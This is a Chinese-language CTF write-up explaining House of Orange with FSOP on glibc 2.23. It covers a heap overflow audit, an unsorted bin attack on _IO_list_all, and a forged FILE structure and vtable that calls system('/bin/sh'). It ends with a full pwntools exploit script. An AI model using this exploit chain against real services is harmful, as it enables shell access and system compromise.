[已迁移]pwn-House of Orange+FSOP
一点踩过的坑,对于申请堆块所自动填的内容,千万不要填三个字符,因为只有1.5字节不变,会覆盖掉原本里面残留的东西,这样就只能打本地而不是远程了
保护全开,堆溢出
参考
__lifanxin
SuperGate
FSOP(File Stream Oriented Programming)
unsortedBin attack篡改_IO_list_all,伪造_IO_FILE_plus结构和vtable放入small bin 0x60的位置
House of orange
当程序没有free的时候,可以通过篡改top chunk的size,然后再次申请一个比这个size大的chunk就会从mmap里申请,将top chunk放到unsortedBin,来泄漏libc_base
其中篡改有一系列检查
assert ((old_top == initial_top (av) && old_size == 0) ||((unsigned long) (old_size) >= MINSIZE &&prev_inuse (old_top) &&((unsigned long) old_end & (pagesize - 1)) == 0));/* Precondition: not enough current space to satisfy nb request */assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
翻译
大于MINSIZE(0X10)小于所需的大小 + MINSIZEprev inuse位设置为1old_top + oldsize的值是页对齐的//0x1000
代码审计
add
int add()
{unsigned int size; // [rsp+8h] [rbp-18h]int color_choice; // [rsp+Ch] [rbp-14h]_QWORD *v3; // [rsp+10h] [rbp-10h]_DWORD *v4; // [rsp+18h] [rbp-8h]if ( add_num_203070 > 3u ){puts("Too many house");exit(1);}v3 = malloc(0x10uLL);printf("Length of name :");size = sub_C65();if ( size > 0x1000 )size = 0x1000;v3[1] = malloc(size); // 重新申请if ( !v3[1] ){puts("Malloc error !!!");exit(1);}printf("Name :");readin((void *)v3[1], size);v4 = calloc(1uLL, 8uLL);printf("Price of Orange:");*v4 = sub_C65();color_memu();printf("Color of Orange:");color_choice = sub_C65();if ( color_choice != 0xDDAA && (color_choice <= 0 || color_choice > 7) ){puts("No such color");exit(1);}if ( color_choice == 0xDDAA )v4[1] = 0xDDAA;elsev4[1] = color_choice + 30;*v3 = v4;addr_qword_203068 = v3;++add_num_203070;return puts("Finish");
}
差不多是这个结构
edit 堆溢出
int edit()
{_DWORD *v1; // rbxunsigned int v2; // [rsp+8h] [rbp-18h]int v3; // [rsp+Ch] [rbp-14h]if ( edit_num_203074 > 2u )return puts("You can't upgrade more");if ( !addr_qword_203068 )return puts("No such house !");printf("Length of name :");v2 = sub_C65();if ( v2 > 0x1000 )v2 = 0x1000;printf("Name:");readin((void *)addr_qword_203068[1], v2);printf("Price of Orange: ");v1 = (_DWORD *)*addr_qword_203068;*v1 = sub_C65();color_memu();printf("Color of Orange: ");v3 = sub_C65();if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7) ){puts("No such color");exit(1);}if ( v3 == 0xDDAA )*(_DWORD *)(*addr_qword_203068 + 4LL) = 0xDDAA;else*(_DWORD *)(*addr_qword_203068 + 4LL) = v3 + 30;++edit_num_203074;return puts("Finish");
}
IO相关结构介绍
_IO_FILE
struct _IO_FILE {int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags/* The following pointers correspond to the C++ streambuf protocol. *//* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */char* _IO_read_ptr; /* Current read pointer */char* _IO_read_end; /* End of get area. */char* _IO_read_base; /* Start of putback+get area. */char* _IO_write_base; /* Start of put area. */char* _IO_write_ptr; /* Current put pointer. */char* _IO_write_end; /* End of put area. */char* _IO_buf_base; /* Start of reserve area. */char* _IO_buf_end; /* End of reserve area. *//* The following fields are used to support backing up and undo. */char *_IO_save_base; /* Pointer to start of non-current get area. */char *_IO_backup_base; /* Pointer to first valid character of backup area */char *_IO_save_end; /* Pointer to end of non-current get area. */struct _IO_marker *_markers;struct _IO_FILE *_chain;int _fileno;
#if 0int _blksize;
#elseint _flags2;
#endif_IO_off_t _old_offset; /* This used to be _offset but it's too small. */#define __HAVE_COLUMN /* temporary *//* 1+column number of pbase(); 0 is unknown. */unsigned short _cur_column;signed char _vtable_offset;char _shortbuf[1];/* char* _save_gptr; char* _save_egptr; */_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
主要注意这个,chain,是链表的指针域
struct _IO_FILE *_chain;
_IO_FILE_plus
在_IO_FILE的基础上加了个vtable对象
struct _IO_FILE_plus
{_IO_FILE file;IO_jump_t *vtable;
}
_IO_jump_t
是一个虚表,存放着函数指针
struct _IO_jump_t
{JUMP_FIELD(size_t, __dummy);JUMP_FIELD(size_t, __dummy2);JUMP_FIELD(_IO_finish_t, __finish);JUMP_FIELD(_IO_overflow_t, __overflow);JUMP_FIELD(_IO_underflow_t, __underflow);JUMP_FIELD(_IO_underflow_t, __uflow);JUMP_FIELD(_IO_pbackfail_t, __pbackfail);/* showmany */JUMP_FIELD(_IO_xsputn_t, __xsputn);JUMP_FIELD(_IO_xsgetn_t, __xsgetn);JUMP_FIELD(_IO_seekoff_t, __seekoff);JUMP_FIELD(_IO_seekpos_t, __seekpos);JUMP_FIELD(_IO_setbuf_t, __setbuf);JUMP_FIELD(_IO_sync_t, __sync);JUMP_FIELD(_IO_doallocate_t, __doallocate);JUMP_FIELD(_IO_read_t, __read);JUMP_FIELD(_IO_write_t, __write);JUMP_FIELD(_IO_seek_t, __seek);JUMP_FIELD(_IO_close_t, __close);JUMP_FIELD(_IO_stat_t, __stat);JUMP_FIELD(_IO_showmanyc_t, __showmanyc);JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0get_column;set_column;
#endif
};
在gdb里可以通过他的对象查看vtable这个实例
pwndbg> p /x *(struct _IO_jump_t*)_IO_list_all.vtable
$3 = {__dummy = 0x0, __dummy2 = 0x0, __finish = 0x7ffff7a869d0, __overflow = 0x7ffff7a87740, __underflow = 0x7ffff7a874b0, __uflow = 0x7ffff7a88610, __pbackfail = 0x7ffff7a89990, __xsputn = 0x7ffff7a861f0, __xsgetn = 0x7ffff7a85ed0, __seekoff = 0x7ffff7a854d0, __seekpos = 0x7ffff7a88a10, __setbuf = 0x7ffff7a85440, __sync = 0x7ffff7a85380, __doallocate = 0x7ffff7a7a190, __read = 0x7ffff7a861b0, __write = 0x7ffff7a85b80, __seek = 0x7ffff7a85980, __close = 0x7ffff7a85350, __stat = 0x7ffff7a85b70, __showmanyc = 0x7ffff7a89b00, __imbue = 0x7ffff7a89b10
}
_IO_flush_all_lockp
_IO_flush_all_lockp (int do_lock)
{int result = 0;FILE *fp;
#ifdef _IO_MTSAFE_IO_IO_cleanup_region_start_noarg (flush_cleanup);_IO_lock_lock (list_all_lock);
#endiffor (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)//遍历_IO_list_all{run_fp = fp;if (do_lock)_IO_flockfile (fp);if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/|| (_IO_vtable_offset (fp) == 0&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base)))&& _IO_OVERFLOW (fp, EOF) == EOF)/* 选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/result = EOF;if (do_lock)_IO_funlockfile (fp);run_fp = NULL;}
#ifdef _IO_MTSAFE_IO_IO_lock_unlock (list_all_lock);_IO_cleanup_region_end (0);
#endifreturn result;
}
_IO_list_all(_IO_FILE_plus*的链表头)
这个打印的是指向的地址的内容
pwndbg> p /x *(struct _IO_FILE_plus*)_IO_list_all
$2 = {file = {_flags = 0xfbad2086, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd2620, _fileno = 0x2, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = {0x0}, _lock = 0x7ffff7dd3770, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7dd1660, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = {0x0 <repeats 20 times>}}, vtable = 0x7ffff7dd06e0
}
_IO_list_all
指向stderr
,然后依次是stdout
和stdin
,这个指向是通过*chain
实现
漏洞利用
当glibc检测到一些内存崩溃问题时,会进入到Abort routine(中止过程),他会把所有的streams送到第一阶段中(stage one)。而这个过程中,程序会调用_IO_flush_all_lockp函数,并会使用_IO_list_all变量。
函数调用链
malloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock->_IO_OVERFLOW
而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
所以我们主要关注vtable中的第四个成员__overflow,劫持它为system,然后第一个参数FP为binsh
既然_IO_list_all是链表头,如果我们篡改了他指向的地址为伪造的_IO_FILE_plus结构体,就能进行一系列操作,具体如下:
_IO_list_all
修改为main_arena+88
后,由于_IO_list_all
中的 *chain
指针位于 _IO_list_all + 0x68
的位置,也就是 main_arena + 88 + 0x68-->small bin
中大小为0x60
的位置,所以之前将old top chunk
的size修改为0x60
,old top chunk
就会链入small bin
中,这时就可以将伪造的file结构链入IO_all_list
中,那么在上述_IO_flush_all_lockp
函数中的第二次循环时fp
就能指向伪造的file结构。
第一步,溢出,篡改top chunk size
# House of orange to send top chunk to unsortedbinadd(0x20,'aaaa',0x10)pl=b'a'*0x20+p64(0)+p64(0x21)+p32(0x10)+p32(0x1f)+p64(0)*2+p64(0xf91)edit(len(pl),pl,0x10)add(0x1000,'bbbb',0x10)
第二步,泄漏libc_base和heap_base
# leak libc_base# chunk in unsortedbin will into largebin when it dissatisfy required size,and then it's rest chunk reaccess unsortedbin# because of accessed largebin,it will leave pointer to itself,we can leak heap_base via thisadd(0x400,'a',0x10)# now unsortedbin leave chunk of size 0xae1show() leak=uu64(ru('\x7f')[-6:])#main_area_xx=uu64(ru('\x7f')[-6:])info('leak',leak)#0x7ffff7dd2161libc_base=leak-(0x7ffff7dd2161-0x7ffff7a0d000)#IO_list_all=(main_area_xx & 0xfffffffffffff000)+(libc.sym['_IO_list_all'] & 0xfff) IO_list_all=libc_base+libc.sym['_IO_list_all']info('IO_list',IO_list_all)#libc_base=IO_list_all-libc.sym['_IO_list_all']system=libc_base+libc.sym['system']info('libc_base',libc_base)# leak heap_baseedit(0x10,'c'*0x10,0x10)show()ru('c'*0x10)heap_base=uu64(ru('\n')[:-1])-0xd0info("heap_base",heap_base)
其中这个写法值得学习
IO_list_all=(main_area_xx & 0xfffffffffffff000)+(libc.sym['_IO_list_all'] & 0xfff)
第三步,FSOP
其中需要绕过的检查
_IO_flush_all_lockp (int do_lock)
{int result = 0;FILE *fp;
#ifdef _IO_MTSAFE_IO_IO_cleanup_region_start_noarg (flush_cleanup);_IO_lock_lock (list_all_lock);
#endiffor (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)//遍历_IO_list_all{run_fp = fp;if (do_lock)_IO_flockfile (fp);if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/|| (_IO_vtable_offset (fp) == 0&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base)))&& _IO_OVERFLOW (fp, EOF) == EOF)/* 当前的fp指针作为_IO_OVERFLOW的参数,执行函数*/result = EOF;if (do_lock)_IO_funlockfile (fp);run_fp = NULL;}
#ifdef _IO_MTSAFE_IO_IO_lock_unlock (list_all_lock);_IO_cleanup_region_end (0);
#endifreturn result;
}
开始溢出,有个0x20的无用chunk,别管她
# overflow,and 0x21 is useless chunkpayload=b'a'*0x400+p64(0)+p64(0x21)+b'a'*0x10
伪造0x60
在_io_flush_all_lockp中
&& _IO_OVERFLOW (fp, EOF) == EOF)/* 当前的fp指针作为_IO_OVERFLOW的参数,执行函数*/
会将fp,当前指向_IO_FILE_plus的结构体的指针作为__OVERFLOW的参数传递,也就是binsh所要放置的位置
# fd ptr is in _IO_list_all and transmit to _OVERFLOW(fd,EOF) as parameter,so fd is point to prev_size fieldfake_file=b'/bin/sh\x00'+p64(0x60)# unsortedbin attack , bk point to target_addr-0x10fake_file+=p64(0)+p64(IO_list_all-0x10)# fp->_IO_write_ptr > fp->_IO_write_base, so choose 0 and 1fake_file+=p64(0) + p64(1)fake_file=fake_file.ljust(0xc0,b'\x00')fake_file+=p64(0)*3
对于为什么这么填充,可以看看这个测试
最终达到这个状态
pwndbg> p /x *(struct _IO_FILE_plus*)0x555555758500
$1 = {file = {_flags = 0x6e69622f, _IO_read_ptr = 0x60, _IO_read_end = 0x0, _IO_read_base = 0x7ffff7dd2510, _IO_write_base = 0x0, _IO_write_ptr = 0x1, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0x0, _flags2 = 0x0, _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = {0x0}, _lock = 0x0, _offset = 0x0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = {0x0 <repeats 20 times>}}, vtable = 0x5555557585d8
}
接下来伪造vtable
# vtable pointer's positionfake_file+=p64(heap_base + 0x5d8)# follow is position that vtable point to# __dummy, __dummy2, __finish, __overflow, 4 itemsfake_file+=p64(0)*2fake_file+=p64(system)payload+=fake_fileedit(len(payload),payload,0x10)
+0x5d8是为了指向自己,根据个人情况调整
__dummy应该是4字节,这里不知道为什么要把vtable地址当做第一个参数给__dummy,不过不纠结了,到时候再研究。
研究出来了,第一个参数是什么都无所谓,这样也可以,三个p64(0)填充掉前三个参数
# vtable pointer's positionfake_file+=p64(heap_base + 0x5e0)# follow is position that vtable point to# __dummy, __dummy2, __finish, __overflow, 4 itemsfake_file+=p64(0)*3fake_file+=p64(system)payload+=fake_fileedit(len(payload),payload,0x10)
呈现这个样子
pwndbg> p *((struct _IO_FILE_plus *)0x555555758500).vtable
$1 = {__dummy = 0, __dummy2 = 0, __finish = 0x0, __overflow = 0x7ffff7a523a0 <__libc_system>, __underflow = 0x0, __uflow = 0x0, __pbackfail = 0x0, __xsputn = 0x0, __xsgetn = 0x0, __seekoff = 0x0, __seekpos = 0x0, __setbuf = 0x0, __sync = 0x0, __doallocate = 0x0, __read = 0x0, __write = 0x0, __seek = 0x0, __close = 0x0, __stat = 0x0, __showmanyc = 0x0, __imbue = 0x0
}
最终是这样捏
第四步,getshell
再捋一下完整调用链
- 先是申请一个0x10 的chunk,会在unsortedBin里先找 ,但是找不到,就把unsortedBin里的fake chunk放入smallbin了,同时unsortedBin attack篡改掉_IO_list_all
- malloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock
- 在_IO_flush_all_lock中,会遍历_IO_list_all的链表,就会遍历到我们伪造的fake_IO_FILE_plus结构挂在smallBin 0x60也就是被attack后的(void*)chain的位置,fp正好就指向binsh
- 最后调用__OVERFLOW(fp,EOF),也就是进入vtable调用system binsh
exp
from pwn import*
context(os='Linux',log_level = 'debug',arch='i386')
name="test"
elf=ELF("./"+name)
local=1
v64=1port=28680
IP="node4.buuoj.cn"
if local:p=process("./"+name)if v64:libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")else:libc=ELF("/lib/i386-linux-gnu/libc.so.6")
else:p=remote(IP,port)if v64:libc=ELF("/home/squirrel/桌面/buulibc/16/64/libc-2.23.so")else:libc=ELF("/home/squirrel/桌面/buulibc/18/32/libc-2.27.so")def dbg():gdb.attach(p)pause()
'''
sed -i s/alarm/isnan/g ./testlibcbase=printf-libc.sym['printf']system=libcbase+libc.sym['system']binsh=libcbase+next(libc.search(b'/bin/sh')))
'''
ogg64=[0x45226,0x4527a,0xf03a4,0xf1247]
sssssss="%i$n"
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
info = lambda tag, addr :p.info('======>'+tag + ': {:#x}'.format(addr))
ir = lambda :p.interactive()def choice(i):sla("Your choice : ",str(i))def add(length,name,price):sla('Your choice : ','1')sla('Length of name :',str(length))sa('Name :',name)sla('Price of Orange:',str(price))sla('Color of Orange:','1')
def show():sla('Your choice : ','2')def edit(length,name,price):sla('Your choice : ','3')sla('Length of name :',str(length))sa('Name:',name)sla('Price of Orange: ',str(price))sla('Color of Orange: ','1')def exp(i):# House of orange to send top chunk to unsortedbinadd(0x20,'aaaa',0x10)pl=b'a'*0x20+p64(0)+p64(0x21)+p32(0x10)+p32(0x1f)+p64(0)*2+p64(0xf91)edit(len(pl),pl,0x10)add(0x1000,'bbbb',0x10)# leak libc_base# chunk in unsortedbin will into largebin when it dissatisfy required size,and then it's rest chunk reaccess unsortedbin# because of accessed largebin,it will leave pointer to itself,we can leak heap_base via thisadd(0x400,'a',0x10)# now unsortedbin leave chunk of size 0xae1show() leak=uu64(ru('\x7f')[-6:])#main_area_xx=uu64(ru('\x7f')[-6:])info('leak',leak)#0x7ffff7dd2161libc_base=leak-(0x7ffff7dd2161-0x7ffff7a0d000)#IO_list_all=(main_area_xx & 0xfffffffffffff000)+(libc.sym['_IO_list_all'] & 0xfff) IO_list_all=libc_base+libc.sym['_IO_list_all']info('IO_list',IO_list_all)#libc_base=IO_list_all-libc.sym['_IO_list_all']system=libc_base+libc.sym['system']info('libc_base',libc_base)# leak heap_baseedit(0x10,'c'*0x10,0x10)show()ru('c'*0x10)heap_base=uu64(ru('\n')[:-1])-0xd0info("heap_base",heap_base)# overflow,and 0x21 is useless chunkpayload=b'a'*0x400+p64(0)+p64(0x21)+b'a'*0x10# fd ptr is in _IO_list_all and transmit to _OVERFLOW(fd,EOF) as parameter,so fd is point to prev_size fieldfake_file=b'/bin/sh\x00'+p64(0x60)# unsortedbin attack , bk point to target_addr-0x10fake_file+=p64(0)+p64(IO_list_all-0x10)# fp->_IO_write_ptr > fp->_IO_write_base, so choose 0 and 1fake_file+=p64(0) + p64(1)fake_file=fake_file.ljust(0xd8,b'\x00')# vtable pointer's positionfake_file+=p64(heap_base + 0x5e0)# follow is position that vtable point to# __dummy, __dummy2, __finish, __overflow, 4 itemsfake_file+=p64(0)*3fake_file+=p64(system)payload+=fake_fileedit(len(payload),payload,0x10)dbg()sla('Your choice : ','1')#debug()p.interactive()if __name__=="__main__":exp(1)ir()
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